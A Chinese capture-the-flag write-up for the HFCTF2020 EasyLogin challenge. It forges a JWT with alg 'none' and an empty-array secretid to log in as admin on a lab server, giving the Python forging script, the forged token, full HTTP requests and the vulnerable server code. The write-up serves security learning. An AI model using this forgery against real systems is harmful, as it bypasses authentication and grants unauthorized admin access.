[HFCTF2020]EasyLogin-1|JWT身份伪造
1、打开之后只有一个登陆界面和注册界面,右键检查发现app.js代码,结果如下:


app.js代码如下:
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
2、那就注册一个账户进行登录然后尝试获取flag值,但是显示权限不允许,结果如下:

3、看到显示了用户名,考虑了下是否是二次注入,经过尝试这里好像并没有什么用,但是在测试时发现admin账户无法注册,加上上面的提示权限不允许,想到这里可能是要我们获取admin权限之后才能获取flag,那就抓取登录的数据包进行分析,发现存在jwt信息,然后就想到了jwt信息伪造,结果如下:
POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NTM3MzUxMywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=AFfZU1lVSsYbRn_pR5t69AAy1Ts
Connection: close
username=123&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6NCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.jpELP7_BnqquU2OVt-8nL442wcPDmHbtWP8J6jOjKEo
jwt信息格式:前两部分均是base64加密,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密,解密地址:https://jwt.io/,jwt解密信息如下:

4、然后就想着获取密匙,但是未成功,后来在网上看到:当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,对header和payload部分信息分别进行修改和加密,然后拼接加密后的字符串(注意删掉填充符=),结果如下:
import base64
a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1660895973}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

所以最终的jwt信息为:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.
5、抓取登陆的数据包,修改登录的用户名和jwt信息,数据包如下:
POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NjE3MTMxNywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=F8g5EE9X5Vc_jFjbIBcg6HA-kpI
Connection: close
username=admin&password=123&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.
6、然后想着点击获取flag就可以获取到flag值了,但是发现通过admin进入之后,这个按钮点击并没有反应,因此只能直接访问/api/flag(在app.js代码中发现的),最终成功获取到flag值,结果如下:

7、后面在网上查看时发现都是访问了controllers下的api.js找到主要逻辑代码,然后才进行的jwt身份伪造,我这也算是误打误撞,还是看了下api.js的内容,结果如下:
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
主要就是这里,对登录的用户名进行了判断,只有用户名是admin时才可以读取flag:
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
[HFCTF2020]EasyLogin-1|JWT身份伪造的更多相关文章
- JWT 身份认证优缺点分析以及常见问题解决方案
本文转载自:JWT 身份认证优缺点分析以及常见问题解决方案 Token 认证的优势 相比于 Session 认证的方式来说,使用 token 进行身份认证主要有下面三个优势: 1.无状态 token ...
- flask利用session身份伪造
想研究很久了,这次终于初步了解了flask session伪造(得知道密钥). python2和python3 session解密不一样,而且不都是base64,脚本https://github.co ...
- Spring Cloud系列-Zuul网关集成JWT身份验证
前言 这两三年项目中一直在使用比较流行的spring cloud框架,也算有一定积累,打算有时间就整理一些干货与大家分享. 本次分享zuul网关集成jwt身份验证 业务背景 项目开发少不了身份认证,j ...
- ASP.NET Core系列:JWT身份认证
1. JWT概述 JSON Web Token(JWT)是目前流行的跨域身份验证解决方案. JWT的官网地址:https://jwt.io JWT的实现方式是将用户信息存储在客户端,服务端不进行保存. ...
- springmvc文件上传AND jwt身份验证
SpringMVC文件上传 思路:1.首先定义页面,定义多功能表单(enctype=“multipart/form-data”)2.在Controller里面定义一个方法,用参数(MultipartF ...
- ASP.NET Core Web API中带有刷新令牌的JWT身份验证流程
ASP.NET Core Web API中带有刷新令牌的JWT身份验证流程 翻译自:地址 在今年年初,我整理了有关将JWT身份验证与ASP.NET Core Web API和Angular一起使用的详 ...
- .netcore实现jwt身份验证
前言 http协议本身是一种无状态的协议.所以客户端的每次请求,服务端是不清楚其身份的,需要客户端每次都要将身份信息传入,服务进行验证,才能达到安全验证的目的. 传统的Web用户验证:1.客户端传入用 ...
- Asp.Net Core 5 REST API 使用 JWT 身份验证 - Step by Step
翻译自 Mohamad Lawand 2021年1月22日的文章 <Asp Net Core 5 Rest API Authentication with JWT Step by Step> ...
- 【译】使用Jwt身份认证保护 Asp.Net Core Web Api
原文出自Rui Figueiredo的博客,原文链接<Secure a Web Api in ASP.NET Core> 摘要:这边文章阐述了如何使用 Json Web Token (Jw ...
随机推荐
- 关于『Markdown』:第二弹
关于『Markdown』:第二弹 建议缩放90%食用 道家有云:一生二,二生三,三生万物 为什么我的帖子不是这样 各位打工人们! 自从我学了Markdown以来 发现 Markdown 语法真的要比 ...
- nvm安装与使用及乱码问题
前端开发工作中经常负责多个项目(新项目.多年的老项目及团队合作项目),经常会遇到npm install安装依赖包或者启动本地服务时依赖报错的情况,大多数是因为NodeJS和npm与依赖之间版本的问题, ...
- tf.data(二) —— 并行化 tf.data.Dataset 生成器
在处理大规模数据时,数据无法全部载入内存,我们通常用两个选项 使用tfrecords 使用 tf.data.Dataset.from_generator() tfrecords的并行化使用前文已经有过 ...
- .NET中检测文件是否被其他进程占用
更新记录 本文迁移自Panda666原博客,原发布时间:2021年7月2日. 一.检测文件是否被进程占用的几种方式 在.NET中主要有以下方式进行检测文件是否被进程占用的几种方式: 通过直接打开文件等 ...
- 彰显个性│制作一个独一无二的动态 svg 头像
一.头像预览 看一下博主的动态图像,是不是很炫酷,想不想拥有一个? 这是一个 svg 图片,svg 图片不仅可以通过制图软件制作外,其实也可以通过代码进行开发 因为 svg 本质上是一个下 xml 文 ...
- 『现学现忘』Docker基础 — 39、实战:自定义Tomcat9镜像
目录 1.目标 2.准备 3.编写Dockerfile文件 4.构建镜像 5.启动镜像 6.验证容器是否能够访问 7.向容器中部署WEB项目,同时验证数据卷挂载 (1)准备一个简单的WEB项目 (2) ...
- 关闭windows更新、设置自启动、提高开发机性能
做Java开发的朋友都知道,每次开机启动一堆的软件和工具,包括未写完的文档,是非常花时间的,加上一桌面的快捷方式,往往不是那么容易直接找到.windows的自动更新往往在凌晨自动启动,导致很多软件被异 ...
- Excel表函数自动生成SQL
前言 在平常的工作中,多多掌握一点这样的小技巧,能够帮助我们省去很多时间: 1.数据库对应的表如下: 2.excel中需要导入的数据如下: 3.excel中sql的写法: ="insert ...
- NC204382 中序序列
NC204382 中序序列 题目 题目描述 给定一棵有 \(n\) 个结点的二叉树的先序遍历与后序遍历序列,求其中序遍历序列. 若某节点只有一个子结点,则此处将其看作左儿子结点 示例1 输入 5,[3 ...
- Android 功耗测试
<head> <title>Evernote Export</title> <basefont face="微软雅黑" size=&quo ...